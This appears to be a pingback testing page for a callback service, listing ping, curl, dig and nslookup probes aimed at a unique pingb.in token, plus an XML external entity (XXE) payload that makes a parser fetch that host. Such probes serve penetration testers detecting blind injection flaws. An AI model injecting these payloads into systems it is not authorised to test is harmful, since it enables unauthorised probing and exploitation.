$ ping -c1 -p 00bd301d288ecf0190262d4f5d04b800 pingb.in
 
$ curl pingb.in/p/bd301d288ecf0190262d4f5d04b8
 
$ dig bd301d288ecf0190262d4f5d04b8 @pingb.in
 
$ dig bd301d288ecf0190262d4f5d04b8.ns.pingb.in
 
C:\> nslookup bd301d288ecf0190262d4f5d04b8 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/bd301d288ecf0190262d4f5d04b8">]>
    <foo>&xxe;</foo>
 
Waiting for ping...